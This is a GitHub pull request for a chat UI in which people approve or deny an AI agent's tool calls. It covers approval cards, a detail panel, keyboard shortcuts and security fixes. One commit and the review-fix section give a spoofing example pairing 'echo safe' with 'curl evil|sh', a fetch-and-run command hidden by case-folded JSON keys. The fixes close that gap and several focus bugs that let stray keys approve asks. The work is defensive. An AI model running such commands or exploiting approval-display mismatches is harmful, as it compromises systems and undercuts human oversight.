Repository navigation
feat(studio): port the prototype's chat approval card, detail panel, and shortcuts - #2251
Merged
Merged
Conversation
This was referenced Oct 10, 2026
peppescg
force-pushed
the
feat/studio-chat-approvals-2207a
branch
from
October 11, 2026 14:57
ac80053 to
f04001f
Compare
This was referenced Oct 11, 2026
Closed
peppescg
force-pushed
the
feat/studio-chat-approvals-2207a
branch
from
October 11, 2026 15:48
f04001f to
b6592ce
Compare
peppescg
force-pushed
the
feat/studio-chat-approvals-2207a
branch
from
October 13, 2026 13:29
110c460 to
96ae463
Compare
peppescg
force-pushed
the
feat/studio-chat-approvals-2207a
branch
from
October 14, 2026 08:45
96ae463 to
e6c1288
Compare
kantord
force-pushed
the
feat/studio-chat-approvals-2207a
branch
5 times, most recently
from
October 14, 2026 09:41
02b2e65 to
8f62cbc
Compare
Pin, before the prototype's approval UI lands, the verdict buttons' order as the card's last tab stops, that keys typed in the composer never answer an ask, and each verdict-ledger phase as the ordinary and plan cards show it (idle, in flight, acknowledged, uncertain, and unavailable), on the workspace and the side thread. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
…hortcuts Bring the prototype's approval UI to Studio's chat, driven by Studio's verdict state rather than its own: - The approval card takes the prototype's look: tinted title, tool badge, a destructive note, the formatted arguments view with a Raw arguments toggle, and a verdict bar with keycap hints. Destructive tone still comes from isDestructiveToolName. - Open in detail panel shows the same ask in the side panel with its full diff. It reads the same ledger as the card and closes when the ask settles. - Y or A allows once, W always allows, N or D denies, and the arrow keys move between the verdict buttons. The keys act only on the surface's active ask while the ledger leaves it answerable, never while typing, with a modifier, under an overlay, or from another chat surface. Escape stays with useChatEscape. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The plan card takes the prototype's brand-toned look and shows the plan in the same argument box, with the Raw arguments toggle, as an ordinary ask. Verdicts still go only through the exact plan-ask control, and the unavailable, in-flight, and uncertain states are unchanged. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The authorization row on a tool call becomes the prototype's info-toned card, and the review panel's actions take the prototype's emphasis: the authorization link is the primary action, Recheck is outlined, and Cancel authorization is quiet. The review flow and its uncertain-outcome rules are unchanged. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The tool badge kept the Badge primitive's shrink-0, so on a 390px phone a long tool name pushed the Open in detail panel button past the card's edge. The header now wraps: the title, position, and tool badge flow onto a second line while the detail button keeps its corner, and only a name wider than the card truncates. The shortcut test's editor fixture also drops a textbox role that Biome's a11y rules reject. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
… way
The engine decodes a tool call's args with Go's encoding/json, which
matches member names case-insensitively (folding Unicode, so "temp_ſcope"
is temp_scope), keeps the last match, and ignores unknown members.
JSON.parse keeps each spelling, so {"command":"echo safe",
"COMMAND":"curl evil|sh"} showed "echo safe" on the card while the
engine ran "curl evil|sh".
A command or diff view is now built only when every top-level name is
exactly one of the engine struct's json tags (shellArgs, editArgs,
writeArgs) and none repeats, and each value has the type the engine
reads. Anything else shows as formatted JSON, every member as sent.
The Edit and Write parsers, shared with the transcript, take the same
check. A command now also shows a non-zero timeout_ms and any
temp_scope.
Refs #2207
Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
Three review findings on the approval shortcuts, and one on Escape: - A key pressed inside a card that wasn't the active one answered the active card's ask, because any focus on the same chat surface counted. - With focus on the page body, the letters answered the workspace's ask. Chromium leaves focus there after a click on plain text, and WebKit after any button click, so typing "Why..." after the composer lost focus granted Always allow. - A new ask focused Allow once, so a stray Enter approved it unseen. - Escape in a detail panel showing one ask denied the surface's active ask, a different one. The letters now act only when focus is inside the ask's own card (marked data-approval-scope) or the detail panel's frame, matched with closest(). The page body, the rest of the surface, and other cards never answer an ask. A new ask focuses Deny, so a stray Enter can only deny. A detail panel showing an ask other than the active one handles Escape itself and only closes, and says "Esc to Close". The shortcuts page and the Studio guide describe the focus rule. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The "Esc to Close" hint added for a detail panel showing a non-active ask sat in the panel header, where it squeezed the tool name to "W.." at desktop panel width. It now sits under the verdict bar, where the active ask's panel says "Esc to Deny", and the header keeps the name. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
A new ask focused Deny when nothing else had focus. Enter could then only deny, but a W typed blind as the ask arrived still granted Always allow, a persistent rule. A new ask now never takes focus: the letter keys and Enter act only after the reader puts focus in the card or detail panel, by Tab or click. This deliberately differs from the prototype, which focuses Allow once. Refs #2207 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
The engine projects a system temp-scope Shell ask as {command,
timeout_ms?, background?, temp_scope}, and `background` is a json tag of
its shellArgs struct (engine/agent/shelltool.go). The card's command
view knew only command, timeout_ms, and temp_scope, so an ask with
background set fell back to the JSON view.
`background` joins the exact-name set, with the same no-duplicate rule
and a boolean (or null) type check, and the command view's options row
shows it when it is true. A folded spelling, a repeat, or a non-boolean
value still falls back to the JSON view.
Refs #2207
Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
kantord
force-pushed
the
feat/studio-chat-approvals-2207a
branch
from
October 14, 2026 09:47
8f62cbc to
dc19e3a
Compare
kantord
approved these changes
Oct 14, 2026
41 tasks done
Member
|
Post-merge review follow-ups for this PR. No blockers or regressions found. Items worth tracking were filed here:
Other candidate findings were checked and dropped as not worth tracking. Fully or partially written by an AI agent. |
peppescg
added a commit
that referenced
this pull request
Oct 15, 2026
…tive ask With two or more pending asks, Escape from inside a card that isn't the active ask's denied the active ask: a request other than the one the reader was looking at. Escape now answers no ask from another ask's card. Every pending ask's card is marked data-approval-scope, and the active ask's card is also marked data-active-ask. useChatEscape returns at the ask layer when the press comes from a card without that mark. The card's own ask isn't answered either: it isn't the active ask, so no key answers it, which matches #2251's detail panel for such an ask, where Escape only closes. The plan-review card is marked the same way, so Escape from a plan card that isn't the active ask's neither denies the active ask nor iterates the active plan. Unchanged: from the active ask's card, the composer, a side panel that isn't an approval, or the page, Escape still denies the active ask or iterates the active plan. An open menu and a text selection still come first, the double-Escape draft clear works as before, and a held Escape still acts on nothing. Tests cover two asks with focus in the second card (nothing is posted for either ask, on the workspace and the side thread), a plan card that isn't active, every ordinary and plan pairing at the hook, and a selection that still clears from another card. They fail without the fix. Closes #2258 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
kantord
pushed a commit
that referenced
this pull request
Oct 15, 2026
…tive ask With two or more pending asks, Escape from inside a card that isn't the active ask's denied the active ask: a request other than the one the reader was looking at. Escape now answers no ask from another ask's card. Every pending ask's card is marked data-approval-scope, and the active ask's card is also marked data-active-ask. useChatEscape returns at the ask layer when the press comes from a card without that mark. The card's own ask isn't answered either: it isn't the active ask, so no key answers it, which matches #2251's detail panel for such an ask, where Escape only closes. The plan-review card is marked the same way, so Escape from a plan card that isn't the active ask's neither denies the active ask nor iterates the active plan. Unchanged: from the active ask's card, the composer, a side panel that isn't an approval, or the page, Escape still denies the active ask or iterates the active plan. An open menu and a text selection still come first, the double-Escape draft clear works as before, and a held Escape still acts on nothing. Tests cover two asks with focus in the second card (nothing is posted for either ask, on the workspace and the side thread), a plan card that isn't active, every ordinary and plan pairing at the hook, and a selection that still clears from another card. They fail without the fix. Closes #2258 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
peppescg
added a commit
that referenced
this pull request
Oct 15, 2026
…tive ask With two or more pending asks, Escape from inside a card that isn't the active ask's denied the active ask: a request other than the one the reader was looking at. Escape now answers no ask from another ask's card. Every pending ask's card is marked data-approval-scope, and the active ask's card is also marked data-active-ask. useChatEscape returns at the ask layer when the press comes from a card without that mark. The card's own ask isn't answered either: it isn't the active ask, so no key answers it, which matches #2251's detail panel for such an ask, where Escape only closes. The plan-review card is marked the same way, so Escape from a plan card that isn't the active ask's neither denies the active ask nor iterates the active plan. Unchanged: from the active ask's card, the composer, a side panel that isn't an approval, or the page, Escape still denies the active ask or iterates the active plan. An open menu and a text selection still come first, the double-Escape draft clear works as before, and a held Escape still acts on nothing. Tests cover two asks with focus in the second card (nothing is posted for either ask, on the workspace and the side thread), a plan card that isn't active, every ordinary and plan pairing at the hook, and a selection that still clears from another card. They fail without the fix. Closes #2258 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
peppescg
added a commit
that referenced
this pull request
Oct 15, 2026
…tive ask With two or more pending asks, Escape from inside a card that isn't the active ask's denied the active ask: a request other than the one the reader was looking at. Escape now answers no ask from another ask's card. Every pending ask's card is marked data-approval-scope, and the active ask's card is also marked data-active-ask. useChatEscape returns at the ask layer when the press comes from a card without that mark. The card's own ask isn't answered either: it isn't the active ask, so no key answers it, which matches #2251's detail panel for such an ask, where Escape only closes. The plan-review card is marked the same way, so Escape from a plan card that isn't the active ask's neither denies the active ask nor iterates the active plan. Unchanged: from the active ask's card, the composer, a side panel that isn't an approval, or the page, Escape still denies the active ask or iterates the active plan. An open menu and a text selection still come first, the double-Escape draft clear works as before, and a held Escape still acts on nothing. Tests cover two asks with focus in the second card (nothing is posted for either ask, on the workspace and the side thread), a plan card that isn't active, every ordinary and plan pairing at the hook, and a selection that still clears from another card. They fail without the fix. Closes #2258 Co-Authored-By: Claude Opus 5.5 (1M context) <[email protected]>
Merged
2 tasks
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
This is the Approvals step of the chat alignment (#2207, part of #2210): step 1 of 4, before the composer, the transcript and delegation, and the session dialogs. It's stacked on #2233, so review that first.
The chat's approval UI now comes from the prototype (
stack-08): the approval card, a per-ask detail panel with the full diff, the verdict bar with keycap hints, and the y/a/w/n/d and arrow-key shortcuts. The plan-review and authorization cards take the prototype's look too.The prototype's UI doesn't hold any verdict state of its own. Every click and every shortcut goes through the chat surface's existing verdict calls, which check Studio's verdict state again. These are unchanged:
plan-asks/{askId}route, theexact_plan_ask_controlgate, andplan-continuation.tschat-escape.ts: Escape still denies the active ask, or iterates a plan, in its existing orderisDestructiveToolName(fix(studio): classify destructive tool approvals by name tokens #2230)What changed
Approval card (
approval-panel.tsx)ask-args.ts,ask-args-view.tsx, ported) shows:approval-verdict-bar.tsx, ported) fills Allow once in the card's tone and shows keycaps (Y, W, N). The keycaps andaria-keyshortcutsappear only while the shortcuts are live, so a hint never names a key that does nothing.Detail panel (
approval-detail-panel.tsx, new)Keyboard shortcuts (
use-approval-shortcuts.ts, ported)data-chat-surface="workspace", beside the existingthreadsurface, so each surface keeps its own keys.Plan review card (
plan-review-card.tsx)Authorization (
authorization-review.tsx)Docs
user-docs/operating/studio.mddescribes the formatted arguments, the detail panel, and the keys.Differences from the prototype
useChatEscape. The prototype's hook also denies on Escape, from a capture listener that would skip Studio's overlay, selection, IME, and key-release rules.edit-diff.tsxview (the same line differ, its-N +Nheader, and its screen-reader row labels), not a second diff renderer. Soargs-diff.tsxisn't ported.<fieldset disabled>, so Deny stays available when an ask has no arguments.*-foregroundtokens for its text, instead of white, so it keeps its contrast on the dark theme's lighter amber and red.border-warning/40(the prototype uses/30), which keeps fix(studio): classify destructive tool approvals by name tokens #2230's tone pins exact.delete_fileas amber. Studio shows it red./sessions/{id}/planrouteVisible change
No regression
Pinning tests
807ba0a86was committed first, alone, and passes on the base (b7ca46bbe) and on this branch, unchanged. It adds four tests toapproval-interactions.test.tsx:New tests
approval-shortcuts.test.tsx(20 tests) covers:aria-keyshortcutswhile blockedpreventDefaultso chat navigation doesn't also firedescribeAskArgsapproval-interactions.test.tsxadds four workspace tests:Two mutations were checked by hand: dropping the typing check fails the composer and typing tests, and dropping the ledger gate from the card fails the phase and gate tests.
Existing tests
No existing test was modified or deleted. These all pass with their assertions unchanged:
chat-workspace.integration.test.tsxapproval-interactions.test.tsxapproval-panel.test.tsx, with fix(studio): classify destructive tool approvals by name tokens #2230's tone pinsplan-review.test.tsxauthorization-review.test.tsxchat-escape.test.tsxverdict-ledger.test.tsdelegation-workspace.test.tsxe2e/chat-approval.spec.tsjourneys, which cover approving, denying, the plan verdicts, two tabs, a stale plan ask, Escape denying, and the real mock daemonThe card keeps every role, name, and text these tests use: the
sectionregion, "Raw arguments", "Arguments unavailable", theedit-diffandwrite-blocktest IDs, the 40-row "more diff lines" cap, and the screen-reader "Added line" and "Removed line" labels.Layout regression caught by the screenshots
The screenshots caught a regression in an earlier revision. On a 390px phone, the Badge primitive's
shrink-0let a tool name push Open in detail panel past the card's edge.7a798b192fixes it: the header now wraps, so the tool badge moves to its own line and truncates only when the name is wider than the card. The test for it inapproval-shortcuts.test.tsxfails on the earlier revision.Gate counts
Both columns ran through the shared gate lock on the same loaded machine. Base is
b7ca46bbe(#2233's head), and this branch is7a798b192.b7ca46bbe)7a798b192)task studio:browser)The base's one server failure was
scripts/build.test.ts, "bakes the release tag into the BFF and omits it in local builds", which timed out at 5 s under load. This PR doesn't touch the server, and the test passed in the head run.The 28 new web tests are the 4 pins, the 4 workspace tests, and the 20 tests in
approval-shortcuts.test.tsx. The browser run includes all fourchat-approval.spec.tsjourneys, on desktop and mobile Chromium.task docspassed:matlatl --strictreported 185 documents and 0 broken links. It also rewraps one line ofuser-docs/reference/server-cli.md, because the default workspace path in the generated text depends on the checkout's path length. That change isn't part of this PR.Screenshots
Captured with a throwaway Playwright journey (Chromium, not committed). It uses offline BFF routes and a loopback activity stream that stays open, so each ask stays pending. The clock is fixed at 2026-09-25 12:30 UTC, the time zone is
Europe/Rome, and the locale is en-US. Every surface was shot at desktop 1280×800 and mobile 390×844, in light and dark.The card surfaces were also cropped to the whole card in a 1600px-tall viewport, because on a phone the card is taller than the transcript area. The verdict states come from a 204 response (approved, denied) and a 409
stale_run_control(uncertain).Before is the base (
b7ca46bbe) and after is this branch's head (7a798b192). Each tree was captured twice. The two runs of each tree matched pixel for pixel, apart from 110–310 px of anti-aliasing in six shots. An earlier after capture of one shot (uncertain, desktop dark) caught the transcript before it scrolled to the bottom; that composite uses a settled capture. Every pair was pixel-compared, and red boxes mark the regions that differ. Desktop composites are downscaled to 1600px wide.The Prototype column comes from the prototype gallery (
stack-08), where it has the surface. Its pending ask is a Bash command in a different chat, so it's a visual reference, not the same content. The gallery has no destructive ask, verdict states, or authorization card, so those composites have two columns.Pending approval
Warning (Edit)
Intended change: the prototype's card, with an amber title and badge, the detail button, the diff in the argument box under the Raw arguments toggle, and a filled amber Allow once (focused in this capture, taken before the review fix; a new ask no longer takes focus) with Y/W/N keycaps. Matches the prototype, except the diff keeps Studio's
-N +Nheader, the label reads Raw arguments, and the border stays at/40.Dark, mobile, and the whole card
Desktop, dark:
Mobile, light:
Mobile, dark:
The whole card (the page shot cuts it on a phone):
Card, desktop, light:
Card, desktop, dark:
Card, mobile, light:
Card, mobile, dark:
Destructive (delete_file)
Intended change: the red card with the destructive note, formatted JSON arguments, and a filled red Allow once. Matches the prototype's destructive styling. The prototype gallery has no destructive ask, and its regex (the #2230 bug) would show
delete_fileas amber.Dark, mobile, and the whole card
Desktop, dark:
Mobile, light:
Mobile, dark:
The whole card:
Card, desktop, light:
Card, desktop, dark:
Card, mobile, light:
Card, mobile, dark:
Detail panel
Approval detail panel
New: Open in detail panel shows the ask in the side panel with its full diff and the verdict bar. Before has no detail panel. Matches the prototype's panel content. It uses Studio's side-panel frame, with no maximize button, and shows "Esc to Deny" while the ask is answerable.
Dark, mobile
Desktop, dark:
Mobile, light:
Mobile, dark:
Verdict states
Approved
Unchanged, pixel for pixel: after Allow once, the card leaves and "Permission allow once recorded." shows. The prototype gallery has no verdict states.
Dark, mobile
Desktop, dark:
Mobile, light:
Mobile, dark:
Denied
Unchanged, pixel for pixel: after Deny, the card leaves and "Permission deny recorded." shows.
Dark, mobile
Desktop, dark:
Mobile, light:
Mobile, dark:
Uncertain
Intended change: only the re-skinned card. The uncertain message, the disabled verdicts, and the error notice are unchanged, and there are no keycaps while the ask is blocked. The prototype has no uncertain state; this is Studio's verdict ledger.
Dark, mobile, and the whole card
Desktop, dark:
Mobile, light:
Mobile, dark:
The whole card:
Card, desktop, light:
Card, desktop, dark:
Card, mobile, light:
Card, mobile, dark:
Plan review
Plan review card
Intended change: the brand-toned card with the clipboard icon, and the plan in the argument box under Raw arguments (before, a disclosure at the bottom), with a muted Iterate. Matches the prototype, except Studio shows the plan text formatted, not the arguments' JSON, and keeps "Esc to Iterate".
Dark, mobile, and the whole card
Desktop, dark:
Mobile, light:
Mobile, dark:
The whole card:
Card, desktop, light:
Card, desktop, dark:
Card, mobile, light:
Card, mobile, dark:
Authorization review
Authorization card
Intended change: the prototype's blue authorization card on the tool call, with a key icon, the status as its title, and the connector badge (before, a plain bordered row). It deliberately keeps Studio's Review authorization flow instead of the prototype's inline actions and countdown. The prototype gallery has no authorization surface.
Dark, mobile, and the whole card
Desktop, dark:
Mobile, light:
Mobile, dark:
The whole card:
Card, desktop, light:
Card, desktop, dark:
Card, mobile, light:
Card, mobile, dark:
Authorization review panel
Intended change: a blue status header with the connector badge, Open authorization as the primary button, Recheck outlined, and a quiet Cancel authorization, matching the prototype's button emphasis. The text, links, and flow are unchanged.
Dark, mobile
Desktop, dark:
Mobile, light:
Mobile, dark:
The prototype reference code is on
stack-08, inapps/web/src/features/chat/:approval-panel.tsx,approval-detail-panel.tsx,approval-verdict-bar.tsx,ask-args.ts,ask-args-view.tsx,args-diff.tsx,use-approval-shortcuts.ts,plan-review-panel.tsx, andauthorization-panel.tsx.Review fixes
Fixes from the final regression and security review of the stack (stack #2227). Each one comes with a test that fails without the fix.
Every #2251 finding from the final review is fixed. Each fix has a test that fails on the pre-fix head
ac800536fand passes now. The four step-1 pinned tests (approval keyboard and verdict phases) are unchanged and still pass.Blocker: the shell view could show a different command from the one that runs (
b4ed160f3)Cause: the engine decodes a tool call's arguments with Go's
encoding/jsoninto fixed structs (session.ParseArgs, with the json tags inengine/adapter/fstools/{shell,edit,write}.go). Go matches member names case-insensitively, folds Unicode as well (temp_ſcopeistemp_scope), keeps the last match, and ignores unknown members.JSON.parsekeeps each spelling as its own property. So{"command":"echo safe","COMMAND":"curl evil|sh"}showedecho safeon the card while the engine rancurl evil|sh. We checked every test row against the real structs on Go 1.27.Fix: a command or diff view is now built only when two things hold:
command/timeout_ms/temp_scope,path/old_string/new_string/replace_all, orpath/content), and no name repeats.Anything else shows as formatted JSON, with every member as sent. Studio doesn't mirror Go's folding rules: it requires exact names instead, so no spelling can slip through.
The Edit and Write parsers shared with the transcript diff use the same check.
A command now also shows a non-zero
timeout_msand anytemp_scope, under the command.Blocker: a key inside one card answered another card's ask (
6fe2f97e5)data-approval-scope, and the detail panel's whole frame is its own ask's scope.target.closest()of that selector is that ask's own card or panel.Major: letter keys acted with focus on the page body (
6fe2f97e5)Minor: autofocus on Allow once (
6fe2f97e5,e5e0a6f5b)6fe2f97e5first moved the autofocus to Deny, but a W typed blind as an ask arrived would still have granted Always allow, a persistent rule. Soe5e0a6f5bremoved the autofocus entirely.Minor: Escape in the detail panel denied a different ask (
6fe2f97e5,dbb664a17)dbb664a17moved it.Tests
ask-args.test.ts: the decode table for Shell, Edit and Write, plus the name scanner.approval-shortcuts.test.tsx:approval focus scopeinapproval-interactions.test.tsx, through the real workspace and verdict routes:describeAskArgsassertion now also expectstimeoutMs: 5, which is stricter.Gates
ac800536f)15231d977)studio:checkserverstudio:checkwebstudio:browserScreenshots
The composites are in
studio-alignment-2251/. The shortcuts composites predate the restack onto main, which adds main's Scheduled card after Chats.Follow-up (not in this PR)
chat-escape.tsis unchanged here. The detail panel no longer does this. The card case needs the same rule, tracked as a follow-up.Screenshots (Before
ac800536f| After15231d977)A spoofed command (
commandplusCOMMAND) now falls back to the JSON view, which shows both keys:Non-default
timeout_msandtemp_scopeare shown:A new ask no longer takes focus (no focus ring on Allow once):
A detail panel showing a non-active ask closes on Escape, with "Esc to Close" under its verdicts:
Re-verification (2026-10-11)
backgroundfell back to the JSON view. The engine (fix(engine): show the full command in system temp-scope approval asks #2263) projects a system temp-scope Shell ask as{command, timeout_ms?, background?, temp_scope}, andbackgroundis a json tag of itsshellArgs(engine/agent/shelltool.go). It joins the exact-name set with the same no-duplicate rule and a boolean-or-null type check, and the command view's options row shows Background when it is true; a folded spelling, a repeat, or a non-boolean value still falls back to the JSON view. (e6c12886b) Tests:ask-args.test.ts(a background row,false/nulldefaults, and four fallbacks) andapproval-shortcuts.test.tsx"shows that a command runs in the background" (fail without the fix).A system temp-scope Shell ask with
background, before and after (the images are labelled with the pre-restack hashes):More: page, mobile, dark
Gates on the restacked head
e6c12886b:studio:checkpasses (web 1,135, server 210 tests). At the stack top (#2256):studio:browser118 passed, 30 skipped; themecated --mockintegration suite 8 passed. The browser suite takes 5.3 minutes on a CI runner.Commit hashes cited earlier in this body predate the restacks; the current commits keep the same subjects. Hashes in Review fixes are updated.
Refs #2207
🤖 Generated with Claude Code